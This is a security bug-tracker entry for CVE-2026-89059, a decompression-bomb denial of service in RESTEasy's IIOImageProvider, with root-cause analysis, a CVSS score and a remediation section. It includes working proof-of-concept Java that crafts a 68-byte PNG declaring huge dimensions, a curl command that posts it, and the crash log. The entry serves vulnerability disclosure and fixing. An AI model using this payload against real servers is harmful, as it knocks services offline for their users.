Bug 2519756 (CVE-2026-89059) - CVE-2026-89059 resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)
Summary: CVE-2026-89059 resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Deco...
Keywords:
Status: NEW
Alias: CVE-2026-89059
Deadline: 2026-09-15
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
high
high
Target Milestone: ---
Assignee: Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 2536896
Blocks:
TreeView+ depends on / blocked
 
Reported: 2026-08-19 16:52 UTC by OSIDB Bzimport
Modified: 2026-09-18 07:13 UTC (History)
87 users (show)

Fixed In Version:
Clone Of:
Environment:
Last Closed:
Embargoed:


Attachments (Terms of Use)

Description OSIDB Bzimport 2026-08-19 16:52:38 UTC
# RESTEasy IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)

| Field | Value |
|-------|-------|
| **Component** | `resteasy-core` (RESTEasy / JBoss / Red Hat) |
| **Affected version** | 7.0.2.Final |
| **Vulnerable classes** | `org.jboss.resteasy.plugins.providers.IIOImageProvider`, `IIOImageProviderHelper` |
| **Vulnerability type** | CWE-400 Uncontrolled Resource Consumption / CWE-1104 (image-decode bomb) |
| **Attack vector** | Remote, unauthenticated HTTP request body |
| **Reproduction status** | **Reproduced** (`OutOfMemoryError` from a 68-byte request) |

## Summary

`IIOImageProvider.readFrom()` decodes an attacker-supplied `image/*` request body into an `IIOImage` via
`ImageReader.readAll(imageIndex, null)` — with a `null` `ImageReadParam`, **no dimension/pixel-count check,
and no size limit**. A tiny image file declaring enormous pixel dimensions forces allocation of a
`width × height × bytesPerPixel` raster, exhausting the JVM heap. Amplification is effectively unbounded
(here 68 bytes → 1.6 GB attempted allocation → `OutOfMemoryError`).

## CVSS 3.1

**Base score: 6.5 (Medium)** — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

## Root-cause analysis

`IIOImageProvider.readFrom` (line 118-120) → `IIOImageProviderHelper.readImage(entityStream, reader, 0)`
(line 67-72):
```java
reader.setInput(iis, false);
return reader.readAll(imageIndex, null);   // null ImageReadParam — no region/subsample/dimension bound
```
The `ImageReader` is chosen purely from the client MIME type (`getImageReadersByMIMEType`, line 81).
`Content-Length` is never consulted, and no `getWidth()/getHeight()` guard precedes decode.

## Reproduction

### Environment
RESTEasy 7.0.2.Final embedded in Undertow, JDK 21, server started with `-Xmx128m`. Resource:
```java
@Path("/image")
public static class ImageResource {
    @POST @Consumes("image/*") @Produces("text/plain")
    public String img(IIOImage image) {
        return "decoded " + image.getRenderedImage().getWidth() + "x" + image.getRenderedImage().getHeight();
    }
}
```

### POC script — craft a 68-byte PNG declaring 20000×20000 (1.6 GB raster; < 2³¹ bytes to avoid int overflow)
```java
// MakePng.java  (javac MakePng.java && java MakePng  -> /tmp/bomb.png)
import java.io.*; import java.util.zip.*;
public class MakePng {
  static void chunk(ByteArrayOutputStream o,String t,byte[] d)throws Exception{
    o.write(new byte[]{(byte)(d.length>>>24),(byte)(d.length>>>16),(byte)(d.length>>>8),(byte)d.length});
    ByteArrayOutputStream b=new ByteArrayOutputStream(); b.write(t.getBytes("US-ASCII")); b.write(d);
    byte[] tc=b.toByteArray(); o.write(tc); CRC32 c=new CRC32(); c.update(tc); long v=c.getValue();
    o.write(new byte[]{(byte)(v>>>24),(byte)(v>>>16),(byte)(v>>>8),(byte)v}); }
  public static void main(String[] a)throws Exception{
    int w=20000,h=20000; ByteArrayOutputStream o=new ByteArrayOutputStream();
    o.write(new byte[]{(byte)137,80,78,71,13,10,26,10});
    ByteArrayOutputStream ihdr=new ByteArrayOutputStream();
    ihdr.write(new byte[]{(byte)(w>>>24),(byte)(w>>>16),(byte)(w>>>8),(byte)w});
    ihdr.write(new byte[]{(byte)(h>>>24),(byte)(h>>>16),(byte)(h>>>8),(byte)h});
    ihdr.write(new byte[]{8,6,0,0,0}); chunk(o,"IHDR",ihdr.toByteArray());
    Deflater d=new Deflater(); d.setInput(new byte[16]); d.finish(); byte[] buf=new byte[64]; int n=d.deflate(buf);
    chunk(o,"IDAT",java.util.Arrays.copyOf(buf,n)); chunk(o,"IEND",new byte[0]);
    try(FileOutputStream f=new FileOutputStream("/tmp/bomb.png")){ f.write(o.toByteArray()); }
  }
}
```
```bash
curl -s -o /dev/null -w "status=%{http_code} time=%{time_total}s\n" \
  -X POST -H "Content-Type: image/png" --data-binary @/tmp/bomb.png http://127.0.0.1:8080/image
```

### Observed output (actual)
Server log:
```
Caused by: java.lang.OutOfMemoryError: Java heap space
	at ...
	at javax.imageio.ImageReader.readAll(ImageReader.java:1065)
	at org.jboss.resteasy.plugins.providers.IIOImageProviderHelper.readImage(IIOImageProviderHelper.java:71)
	at org.jboss.resteasy.plugins.providers.IIOImageProvider.readFrom(IIOImageProvider.java:120)
```
A single 68-byte request forced a ~1.6 GB allocation → `OutOfMemoryError`. Under concurrency (or on a
constrained heap) this exhausts the server heap and denies service.

## Impact
Unauthenticated, high-amplification memory-exhaustion DoS on any endpoint consuming `IIOImage`.

## Remediation
Read the header dimensions first (`reader.getWidth(0)`/`getHeight(0)`) and reject images whose pixel count
exceeds a configurable maximum before `readAll`; enforce a maximum request-entity size for image endpoints.


Note You need to log in before you can comment on or make changes to this bug.